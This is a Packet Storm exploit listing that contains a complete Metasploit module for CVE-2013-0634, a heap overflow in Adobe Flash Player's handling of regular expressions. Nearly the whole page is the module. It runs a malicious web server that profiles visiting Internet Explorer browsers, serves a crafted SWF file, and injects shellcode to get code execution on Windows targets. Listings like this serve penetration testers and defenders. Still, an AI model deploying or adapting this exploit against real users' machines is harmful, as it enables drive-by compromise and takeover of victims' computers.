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Adobe Flash Player Regular Expression Heap Overflow

🗓️ 19 Apr 2014 00:00:00Reported by juan vazquezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 58 Views

Adobe Flash Player Regular Expression Heap Overflow, triggers memory corruption and remote code executio

Related
Code
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::BrowserExploitServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Adobe Flash Player Regular Expression Heap Overflow",  
'Description' => %q{  
This module exploits a vulnerability found in the ActiveX component of Adobe  
Flash Player before 11.5.502.149. By supplying a specially crafted swf file  
with special regex value, it is possible to trigger an memory corruption, which  
results in remote code execution under the context of the user, as exploited in  
the wild in February 2013. This module has been tested successfully with Adobe  
Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before  
MS13-063, since it takes advantage of a predictable SharedUserData in order to  
leak ntdll and bypass ASLR.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # malware sample  
'Boris "dukeBarman" Ryutin', # msf exploit  
'juan vazquez' # ActionScript deobfuscation and cleaning  
],  
'References' =>  
[  
[ 'CVE', '2013-0634' ],  
[ 'OSVDB', '89936'],  
[ 'BID', '57787'],  
[ 'URL', 'http://malwaremustdie.blogspot.ru/2013/02/cve-2013-0634-this-ladyboyle-is-not.html' ],  
[ 'URL', 'http://malware.dontneedcoffee.com/2013/03/cve-2013-0634-adobe-flash-player.html' ],  
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html' ],  
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/adobe-patches-two-vulnerabilities-being-exploited-in-the-wild/' ],  
[ 'URL', 'http://eromang.zataz.com/tag/cve-2013-0634/' ]  
],  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f',  
'Retries' => false  
},  
'Platform' => 'win',  
'BrowserRequirements' =>  
{  
:source => /script|headers/i,  
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",  
:method => "LoadMovie",  
:os_name => Msf::OperatingSystems::WINDOWS,  
:ua_name => Msf::HttpClients::IE,  
:flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' }  
},  
'Targets' =>  
[  
[ 'Automatic', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Feb 8 2013",  
'DefaultTarget' => 0))  
end  
  
def exploit  
@swf = create_swf  
super  
end  
  
def on_request_exploit(cli, request, target_info)  
print_status("Request: #{request.uri}")  
  
if request.uri =~ /\.swf$/  
print_status("Sending SWF...")  
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})  
return  
end  
  
print_status("Sending HTML...")  
tag = retrieve_tag(cli, request)  
profile = get_profile(tag)  
profile[:tried] = false unless profile.nil? # to allow request the swf  
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})  
end  
  
def exploit_template(cli, target_info)  
  
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"  
shellcode = get_payload(cli, target_info).unpack("H*")[0]  
  
html_template = %Q|<html>  
<body>  
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />  
<param name="movie" value="<%=swf_random%>" />  
<param name="allowScriptAccess" value="always" />  
<param name="FlashVars" value="his=<%=shellcode%>" />  
<param name="Play" value="true" />  
</object>  
</body>  
</html>  
|  
  
return html_template, binding()  
end  
  
def create_swf  
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-0634", "exploit.swf" )  
swf = ::File.open(path, 'rb') { |f| swf = f.read }  
  
swf  
end  
  
end  
`

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